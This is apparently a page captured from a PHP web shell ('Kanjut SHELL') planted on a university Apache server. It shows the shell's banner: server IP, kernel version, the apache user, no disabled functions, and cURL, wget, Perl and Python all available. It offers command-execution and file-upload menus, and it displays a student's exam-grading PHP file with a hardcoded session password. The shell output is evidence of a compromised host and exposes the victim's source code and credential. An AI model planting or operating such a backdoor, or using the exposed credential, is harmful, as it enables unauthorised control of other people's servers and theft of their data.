Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.15.228.162
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/kvtillotson/www/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/kvtillotson/www/assig2oneExamAct.php
<?php session_start();

//File Name: assig2oneExamAct.php
//Purpose: web exam questions action page/score report
//Student Name: Kristin Tillotson

        $pass = $_SESSION['passwd'];
        if($pass != "hw21")
        {
                print "<center><H2><font color=red>Nope. What are you even doing on this page? </H2><font color=black><A HREF=assig2one.html> Back to Login </center>";
        }
        else
        {
?>

<font color=green>
<CENTER>
<H2>
Web Exam Results
</H2>
<HR>
</font>



<?php
        $a1 = $_POST ['q1'];    // "a", "b", "c", "d"
        $a2 = $_POST ['q2'];
        $a3 = $_POST ['q3'];
        $a4 = $_POST ['q4'];

        $score = 0;

// debug
//print ("Q1 answer: $a1 <P>");
//print ("Q2 answer: $a2 <P>");
//print ("Q3 answer: $a3 <P>");
//print ("Q4 answer: $a4 <P> <HR>");

        if($a1 == "a")
        {
                $score += 25;
                print "Question 1 answered correctly.<P>";
        }
        else
        {
                print "Question 1 answered incorrectly.<BR>";
        }
        if($a1=="d")
        {
                print "Question 1 should be the first letter of the English alphabet, not the phrase 'the alphabet'.";
        }
        print "<P>";

        if($a2 == "b")
        {
                $score += 25;
                print "Question 2 answered correctly.<P>";
        }
        else
        {
                print "Question 2 answered incorrectly.<P>";
        }

        if($a3 == "c")
        {
                $score += 25;
                print "Question 3 answered correctly.<P>";
        }
        else
        {
                print "Question 3 answered incorrectly.<P>";
        }

        if($a4 == "d")
        {
                $score += 25;
                print "Question 4 answered correctly.<P>";
        }
        else
        {
                print "Question 4 answered incorrectly.<P>";
        }

        print "<HR>Total score: $score%";

?>



</center>
<A HREF=index.html> Course Home </A> | <A HREF=assig2.html> Assignment 2 </A> | <A HREF=assig2one.html> Back to Login </A>

<?php
        }
?>

Stv3n404 - 2023